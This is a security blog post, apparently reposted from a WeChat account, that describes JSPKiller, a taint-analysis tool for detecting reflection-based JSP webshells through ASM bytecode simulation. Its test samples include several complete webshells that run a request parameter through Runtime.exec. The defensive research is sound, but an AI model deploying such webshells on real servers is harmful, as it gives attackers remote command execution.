前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >基于污点分析的JSP Webshell检测

基于污点分析的JSP Webshell检测

作者头像
亿人安全
发布2022-06-30 15:45:02
1.7K0
发布2022-06-30 15:45:02
举报
文章被收录于专栏:红蓝对抗

0x00 前言

在11月初,我做了一些JSP Webshell的免杀研究,主要参考了三梦师傅开源的代码。然后加入了一些代码混淆手段,编写了一个免杀马生成器JSPHorse,没想到在Github上已收获500+的Star

做安全只懂攻击不够,还应该懂防御

之前只做了一些免杀方面的事情,欠缺了防御方面的思考

于是我尝试自己做一个JSP Webshell的检测工具,主要原理是ASM做字节码分析并模拟执行,分析栈帧(JVM Stack Frame)得到结果

只输入一个JSP文件即可进行这一系列的分析,大致需要以下四步

  • 解析输入的JSP文件转成Java代码文件
  • 使用ToolProvider获得JavaCompiler动态编译Java代码
  • 编译后得到的字节码用ASM进行分析
  • 基于ASM模拟栈帧的变化实现污点分析

类似之前写的工具CodeInspector,不过它是半成品只能理论上的学习研究,而这个工具是可以落地进行实际的检测,下面给大家展示下检测效果

0x01 效果

时间原因只做了针对于反射型JSP Webshell的检测

效果还是不错的,各种变形都可以轻松检测出

关于反射马的讲解,可以看我在B站做的视频:https://www.bilibili.com/video/BV1L341147od

来个基本的反射马:1.jsp

代码语言:javascript
复制
<%@ page language="java" pageEncoding="UTF-8" %>
<%
    String cmd = request.getParameter("cmd");
    Class rt = Class.forName("java.lang.Runtime");
    java.lang.reflect.Method gr = rt.getMethod("getRuntime");
    java.lang.reflect.Method ex = rt.getMethod("exec", String.class);
    Process process = (Process) ex.invoke(gr.invoke(null), cmd);
    java.io.InputStream in = process.getInputStream();
    out.print("<pre>");
    java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
    java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
    String s = null;
    while ((s = stdInput.readLine()) != null) {
        out.println(s);
    }
    out.print("</pre>");
%>

查出是Webshell

如果把字符串给拆出来:2.jsp

代码语言:javascript
复制
<%@ page language="java" pageEncoding="UTF-8" %>
<%
    String cmd = request.getParameter("cmd");
    String name = "java.lang.Runtime";
    Class rt = Class.forName(name);
    String runtime = "getRuntime";
    java.lang.reflect.Method gr = rt.getMethod(runtime);
    java.lang.reflect.Method ex = rt.getMethod("exec", String.class);
    Object obj = gr.invoke(null);
    Process process = (Process) ex.invoke(obj, cmd);
    java.io.InputStream in = process.getInputStream();
    out.print("<pre>");
    java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
    java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
    String s = null;
    while ((s = stdInput.readLine()) != null) {
        out.println(s);
    }
    out.print("</pre>");
%>

查出是Webshell

进一步变化,拆开字符串:3.jsp

代码语言:javascript
复制
<%@ page language="java" pageEncoding="UTF-8" %>
<%
    String cmd = request.getParameter("cmd");
    String name = "java.lang."+"Runtime";
    Class rt = Class.forName(name);
    String runtime = "getRu"+"ntime";
    java.lang.reflect.Method gr = rt.getMethod(runtime);
    String exec = "ex"+"ec";
    java.lang.reflect.Method ex = rt.getMethod(exec, String.class);
    Object obj = gr.invoke(null);
    Process process = (Process) ex.invoke(obj, cmd);

    java.io.InputStream in = process.getInputStream();
    out.print("<pre>");
    java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
    java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
    String s = null;
    while ((s = stdInput.readLine()) != null) {
        out.println(s);
    }
    out.print("</pre>");
%>

或者合并成一行

代码语言:javascript
复制
    Process process = (Process) Class.forName("java.lang.Runtime")
            .getMethod("exec", String.class)
            .invoke(Class.forName("java.lang.Runtime")
                            .getMethod("getRuntime").invoke(null), cmd);
    java.io.InputStream in = process.getInputStream();

都可以查出是Webshell

如果是正常逻辑,和执行命令无关:4.jsp

代码语言:javascript
复制
<%@ page language="java" pageEncoding="UTF-8" %>
<%
    String cmd = request.getParameter("cmd");
    Class rt = Class.forName("java.lang.String");
    java.lang.reflect.Method gr = rt.getMethod("getBytes");
    java.lang.reflect.Method ex = rt.getMethod("getBytes");
    Process process = (Process) ex.invoke(gr.invoke(null), cmd);
    java.io.InputStream in = process.getInputStream();
    out.print("<pre>");
    java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
    java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
    String s = null;
    while ((s = stdInput.readLine()) != null) {
        out.println(s);
    }
    out.print("</pre>");
%>

那么不会存在误报

0x03 JSP处理

第一步我们需要把输入的JSP转为Java代码,之所以这样做因为JSP无法直接变成字节码

原理其实简单:造一个模板类,把JSP<% xxx %>中的xxx填入模板

模板如下,简单取了三个JSP中常用的变量放入参数

代码语言:javascript
复制
package org.sec;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;

@SuppressWarnings("unchecked")
public class Webshell {
    public static void invoke(HttpServletRequest request,
                              HttpServletResponse response,
                              PrintWriter out) {
        try {
            __WEBSHELL__
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

简单做了一下解析,可能会存在BUG但在当前的情景下完全够用

代码语言:javascript
复制
byte[] jspBytes = Files.readAllBytes(path);
String jspCode = new String(jspBytes);
// 置空为了后续分割字符串
jspCode = jspCode.replace("<%@", "");
// 得到<% xxx %>的xxx
String tempCode = jspCode.split("<%")[1];
String finalJspCode = tempCode.split("%>")[0];
// 从Resource里读出模板
InputStream inputStream = Main.class.getClassLoader().getResourceAsStream("Webshell.java");
if (inputStream == null) {
    logger.error("read template error");
    return;
}
// 读InputStream
StringBuilder resultBuilder = new StringBuilder();
InputStreamReader ir = new InputStreamReader(inputStream);
BufferedReader reader = new BufferedReader(ir);
String lineTxt = null;
while ((lineTxt = reader.readLine()) != null) {
    resultBuilder.append(lineTxt).append("\n");
}
ir.close();
reader.close();
// 替换模板文件
String templateCode = resultBuilder.toString();
String finalCode = templateCode.replace("__WEBSHELL__", finalJspCode);
// 使用了google-java-format库做了下代码格式化
// 仅仅为了好看,没有功能上的影响
String formattedCode = new Formatter().formatSource(finalCode);
// 写入文件
Files.write(Paths.get("Webshell.java"), formattedCode.getBytes(StandardCharsets.UTF_8));

上面代码有一处坑:想从打包后的JarResource里读东西必须用getResourceAsStream,如果用URI的方式会报错。另外这里用Main.class.getClassLoader()是为了读到classes根目录

经过处理后JSP变成这样的代码,可以使用Javac命令手动编译

代码语言:javascript
复制
package org.sec;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;

@SuppressWarnings("unchecked")
public class Webshell {
  public static void invoke(
      HttpServletRequest request, HttpServletResponse response, PrintWriter out) {
    try {

      String cmd = request.getParameter("cmd");
      Class rt = Class.forName("java.lang.Runtime");
      java.lang.reflect.Method gr = rt.getMethod("getRuntime");
      java.lang.reflect.Method ex = rt.getMethod("exec", String.class);
      Process process = (Process) ex.invoke(gr.invoke(null), cmd);
      java.io.InputStream in = process.getInputStream();
      out.print("<pre>");
      java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
      java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
      String s = null;
      while ((s = stdInput.readLine()) != null) {
        out.println(s);
      }
      out.print("</pre>");

    } catch (Exception e) {
      e.printStackTrace();
    }
  }
}

0x04 动态编译

手动编译的时候其实有一个坑:系统不包含servlet相关的库,所以会报错

这个好解决,只需要一个参数javac Webshell.java -cp javax.servlet-api.jar

在网上查了下如何动态编译,这个代码还是比较多的

但都没有设置参数,我们情况特殊需要classpath参数,最终看官方文档得到了答案

代码语言:javascript
复制
JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
StandardJavaFileManager fileManager = compiler.getStandardFileManager(
    null, null, null);
Iterable<? extends JavaFileObject> compilationUnits = fileManager.getJavaFileObjects(
    new File("Webshell.java"));
// 加入参数
List<String> optionList = new ArrayList<>();
optionList.add("-classpath");
optionList.add("lib.jar");
// 不需要打印多余的东西
optionList.add("-nowarn");
JavaCompiler.CompilationTask task = compiler.getTask(null, fileManager,
                                                     null, optionList, null, compilationUnits);
task.call();

通过以上的代码会得到一个Webshell.class的字节码文件,这就是我们真正需要的东西

这里同样有一个坑:ToolProvider.getSystemJavaCompiler()这句话在java -jar xxx.jara的情况下是空指针,通过查询解决办法,发现需要在JDK/JRElib加入tools.jar并且将环境变量配到JDK/bin而不是JDK/JRE/binJRE/bin

当我们动态编译Webshell.javaWebshell.class后,读取字节码到内存中,就可以删除这两个临时文件了

代码语言:javascript
复制
byte[] classData = Files.readAllBytes(Paths.get("Webshell.class"));
Files.delete(Paths.get("Webshell.class"));
Files.delete(Paths.get("Webshell.java"));

0x05 模拟栈帧

JVM在每次方法调用均会创建一个对应的Frame,方法执行完毕或者异常终止,Frame被销毁

而每个Frame的结构如下,主要由本地变量数组(local variables)和操作栈(operand stack)组成

局部变量表所需的容量大小是在编译期确定下来的,表中的变量只在当前方法调用中有效

JVM把操作数栈作为它的工作区——大多数指令都要从这里弹出数据,执行运算,然后把结果压回操作数栈

参考我在Github的代码,该类构造了Operand StackLocal Variables Array并模拟操作

在用ASM技术解析class文件的时候,模拟他们在JVM中执行的过程,实现数据流分析

使用代码模拟两大数据结构

代码语言:javascript
复制
public class OperandStack<T> {
    private final LinkedList<Set<T>> stack;
    // pop push methods
}
public class LocalVariables<T> {
    private final ArrayList<Set<T>> array;
    // set get method
}

在进入方法的时候,JVM会初始化这两大数据结构

  • 清空已有的元素
  • 根据函数入参做初始化
代码语言:javascript
复制
public void visitCode() {
    super.visitCode();
    localVariables.clear();
    operandStack.clear();

    if ((this.access & Opcodes.ACC_STATIC) == 0) {
        localVariables.add(new HashSet<>());
    }
    for (Type argType : Type.getArgumentTypes(desc)) {
        for (int i = 0; i < argType.getSize(); i++) {
            localVariables.add(new HashSet<>());
        }
    }
}

在方法执行的时候,对这两种数据结构进行POP/PUSH等操作,随便选了其中一部分供参考

代码语言:javascript
复制
@Override
public void visitInsn(int opcode) {
    Set<T> saved0, saved1, saved2, saved3;
    sanityCheck();
    switch (opcode) {
        case Opcodes.NOP:
            break;
        case Opcodes.ACONST_NULL:
        case Opcodes.ICONST_M1:
        case Opcodes.ICONST_0:
        case Opcodes.ICONST_1:
        case Opcodes.ICONST_2:
        case Opcodes.ICONST_3:
        case Opcodes.ICONST_4:
        case Opcodes.ICONST_5:
        case Opcodes.FCONST_0:
        case Opcodes.FCONST_1:
        case Opcodes.FCONST_2:
            operandStack.push();
            break;
        case Opcodes.LCONST_0:
        case Opcodes.LCONST_1:
        case Opcodes.DCONST_0:
        case Opcodes.DCONST_1:
            operandStack.push();
            operandStack.push();
            break;
        case Opcodes.IALOAD:
        case Opcodes.FALOAD:
        case Opcodes.AALOAD:
        case Opcodes.BALOAD:
        case Opcodes.CALOAD:
        case Opcodes.SALOAD:
            operandStack.pop();
            operandStack.pop();
            operandStack.push();
        ......
    }
}

为什么能够这样操作,参考Oracle的JVM指令文档:官方文档

上文其实略枯燥,接下来结合实例和大家画图分析,这将会一目了然

0x06 检测实现

新建一个ClassVisitor用于分析字节码,以下这三部是ASM规定的分析字节码方式

代码语言:javascript
复制
ClassReader cr = new ClassReader(classData);
ReflectionShellClassVisitor cv = new ReflectionShellClassVisitor();
cr.accept(cv, ClassReader.EXPAND_FRAMES);

大家需要注意ASM是观察者模式,需要理解阻断传递的思想

其实ReflectionShellClassVisitor不是重点,因为我们的JSP Webshell逻辑都写在Webshell.invoke方法中,所以检测逻辑在ReflectionShellMethodAdapter类中

代码语言:javascript
复制
// 继承自ClassVisitor
public class ReflectionShellClassVisitor extends ClassVisitor {
    private String name;
    private String signature;
    private String superName;
    private String[] interfaces;

    public ReflectionShellClassVisitor() {
        // 基于JDK8做解析
        super(Opcodes.ASM8);
    }

    @Override
    public void visit(int version, int access, String name, String signature,
                      String superName, String[] interfaces) {
        super.visit(version, access, name, signature, superName, interfaces);
        // 当前类目描述符父类名等信息有可能用到
        this.name = name;
        this.signature = signature;
        this.superName = superName;
        this.interfaces = interfaces;
    }

    @Override
    public MethodVisitor visitMethod(int access, String name, String descriptor,
                                     String signature, String[] exceptions) {
        MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
        // 不用关注构造方法只分析invoke方法即可
        if (name.equals("invoke")) {
            // 稍后分析该类
            ReflectionShellMethodAdapter reflectionShellMethodAdapter = new ReflectionShellMethodAdapter(
                    Opcodes.ASM8,
                    mv, this.name, access, name, descriptor, signature, exceptions,
                    analysisData
            );
            // 出于兼容性的考虑向后传递
            return new JSRInlinerAdapter(reflectionShellMethodAdapter,
                    access, name, descriptor, signature, exceptions);
        }
        return mv;
    }
}

重点放在ReflectionShellMethodAdapter

首先我们要确认可控参数,也就是污点分析里的Source,不难得出来自于request.getParameter

这一步的字节码如下

代码语言:javascript
复制
    ALOAD 0
    LDC "cmd"
    INVOKEINTERFACE javax/servlet/http/HttpServletRequest.getParameter (Ljava/lang/String;)Ljava/lang/String; (itf)
    ASTORE 3

这四步过程如下:

  • 调用方法非STATIC所以需要压栈一个this对象
  • 方法执行时弹出参数,方法执行后栈顶是返回值保存至局部变量表

我们可以在INVOKEINTERFACE的时候编写如下代码

代码语言:javascript
复制
@Override
public void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) {
    if (opcode == Opcodes.INVOKEINTERFACE) {
        // 是否符合request.getParameter()调用
        boolean getParam = name.equals("getParameter") &&
            owner.equals("javax/servlet/http/HttpServletRequest") &&
            desc.equals("(Ljava/lang/String;)Ljava/lang/String;");
        if (getParam) {
            // 注意一定先让父类模拟弹栈调用操作,模拟完栈顶是返回值
            super.visitMethodInsn(opcode, owner, name, desc, itf);
            logger.info("find source: request.getParameter");
            // 给这个栈顶设置个flag:get-param以便于后续跟踪
            operandStack.get(0).add("get-param");
            return;
        }
    }
}

接下来看反射的第一句Class.forName("java.lang.Runtime")

代码语言:javascript
复制
    LDC "java.lang.Runtime"
    INVOKESTATIC java/lang/Class.forName (Ljava/lang/String;)Ljava/lang/Class;
    ASTORE 4

由于调用STATIC方法不需要this然后返回值保存在局部变量表第5位

这里我给反射三步的LDC分别给上自己的flag做跟踪

注意到LDC命令执行完后保存至栈顶

代码语言:javascript
复制
@Override
public void visitLdcInsn(Object cst) {
    if(cst.equals("java.lang.Runtime")){
        super.visitLdcInsn(cst);
        operandStack.get(0).add("ldc-runtime");
        return;
    }
    if(cst.equals("getRuntime")){
        super.visitLdcInsn(cst);
        operandStack.get(0).add("ldc-get-runtime");
        return;
    }
    if(cst.equals("exec")){
        super.visitLdcInsn(cst);
        operandStack.get(0).add("ldc-exec");
        return;
    }
    super.visitLdcInsn(cst);
}

下一句rt.getMethod("getRuntime")稍微复杂

代码语言:javascript
复制
    ALOAD 4
    LDC "getRuntime"
    ICONST_0
    ANEWARRAY java/lang/Class
    INVOKEVIRTUAL java/lang/Class.getMethod (Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
    ASTORE 5

中间主要是多了一步ANEWARRAY操作

这个染成黄色的过程在代码中如下

代码语言:javascript
复制
@Override
public void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) {
    if(opcode==Opcodes.INVOKEVIRTUAL){
        boolean getMethod = name.equals("getMethod") &&
            owner.equals("java/lang/Class") &&
            desc.equals("(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;");
        if(getMethod){
            if(operandStack.get(1).contains("ldc-get-runtime")){
                super.visitMethodInsn(opcode, owner, name, desc, itf);
                logger.info("-> get getRuntime method");
                operandStack.get(0).add("method-get-runtime");
                return;
            }
        }
    }

下一步是rt.getMethod("exec", String.class)和上面几乎一致,不过数组里添加了元素

代码语言:javascript
复制
    ALOAD 4
    LDC "exec"
    ICONST_1
    ANEWARRAY java/lang/Class
    DUP
    ICONST_0
    LDC Ljava/lang/String;.class
    AASTORE
    INVOKEVIRTUAL java/lang/Class.getMethod (Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
    ASTORE 6

这一步几乎重复,就不再画图了,可以看出最后保存到局部变量表第7位

其中陌生的命令有DUPAASTORE两个,暂不分析,我们在method.invoke中细说

代码中的处理类似

代码语言:javascript
复制
@Override
public void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) {
    if(opcode==Opcodes.INVOKEVIRTUAL){
        boolean getMethod = name.equals("getMethod") &&
            owner.equals("java/lang/Class") &&
            desc.equals("(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;");
        if(getMethod){
            if(operandStack.get(1).contains("ldc-exec")){
                super.visitMethodInsn(opcode, owner, name, desc, itf);
                logger.info("-> get exec method");
                operandStack.get(0).add("method-exec");
                return;
            }
        }
    }

接下来该最关键的一行了:ex.invoke(gr.invoke(null), cmd)

代码语言:javascript
复制
    ALOAD 6
    ALOAD 5
    ACONST_NULL
    ICONST_0
    ANEWARRAY java/lang/Object
    INVOKEVIRTUAL java/lang/reflect/Method.invoke (Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
    ICONST_1
    ANEWARRAY java/lang/Object
    DUP
    ICONST_0
    ALOAD 3
    AASTORE
    INVOKEVIRTUAL java/lang/reflect/Method.invoke (Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;

第一步的INVOKEVIRTUAL只是得到了Runtime对象

第二步的INVOKEVIRTUAL才是exec(obj,cmd)执行命令的代码

所以我们重点从第二步分析

代码语言:javascript
复制
    ICONST_1
    ANEWARRAY java/lang/Object
    DUP
    ICONST_0
    ALOAD 3
    AASTORE
    INVOKEVIRTUAL java/lang/reflect/Method.invoke (Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;

AASTORE之前的过程如下(防止干扰栈中存在的其他元素没有画出)

  • 之所以要DUP正是因为AASTORE需要消耗一个数组引用
  • 这里的ICONST_1代表初始化数组长度为1

AASTOREINVOKE的过程如下(之前在栈中没有画出的元素都补充到)

注意其中的细节

  • 消耗一个数组做操作实际上另一个数组引用对象也改变了,换句话说加入了cmd参数

所以我们需要手动处理下AASTORE情况以便于让参数传递下去

代码语言:javascript
复制
    @Override
    public void visitInsn(int opcode) {
        if(opcode==Opcodes.AASTORE){
            if(operandStack.get(0).contains("get-param")){
                logger.info("store request param into array");
                super.visitInsn(opcode);
                // AASTORE模拟操作之后栈顶是数组引用
                operandStack.get(0).clear();
                // 由于数组中包含了可控变量所以设置flag
                operandStack.get(0).add("get-param");
                return;
            }
        }
        super.visitInsn(opcode);
    }

至于最后一步的判断就很简单了

代码语言:javascript
复制
@Override
public void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) {
    if(opcode==Opcodes.INVOKEVIRTUAL){
        boolean invoke = name.equals("invoke") &&
            owner.equals("java/lang/reflect/Method") &&
            desc.equals("(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;");
        if(invoke){
            // AASTORE中设置的参数
            if(operandStack.get(0).contains("get-param")){
                // 如果栈中第3个元素是exec的Method
                if(operandStack.get(2).contains("method-exec")){
                    // 认为造成了RCE
                    logger.info("find reflection webshell!");
                    super.visitMethodInsn(opcode, owner, name, desc, itf);
                    return;
                }
                super.visitMethodInsn(opcode, owner, name, desc, itf);
                logger.info("-> method exec invoked");
            }
        }
    }
    super.visitMethodInsn(opcode, owner, name, desc, itf);
}

其实栈中第2个元素也可以判断下,我简化了一些不必要的操作

0x07 总结

代码在:https://github.com/EmYiQing/JSPKiller

后续考虑加入其他的一些检测,师傅们可以试试Bypass手段哈哈

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-12-07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 亿人安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 效果
  • 0x03 JSP处理
  • 0x04 动态编译
  • 0x05 模拟栈帧
  • 0x06 检测实现
  • 0x07 总结
相关产品与服务
检测工具
域名服务检测工具(Detection Tools)提供了全面的智能化域名诊断,包括Whois、DNS生效等特性检测,同时提供SSL证书相关特性检测,保障您的域名和网站健康。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档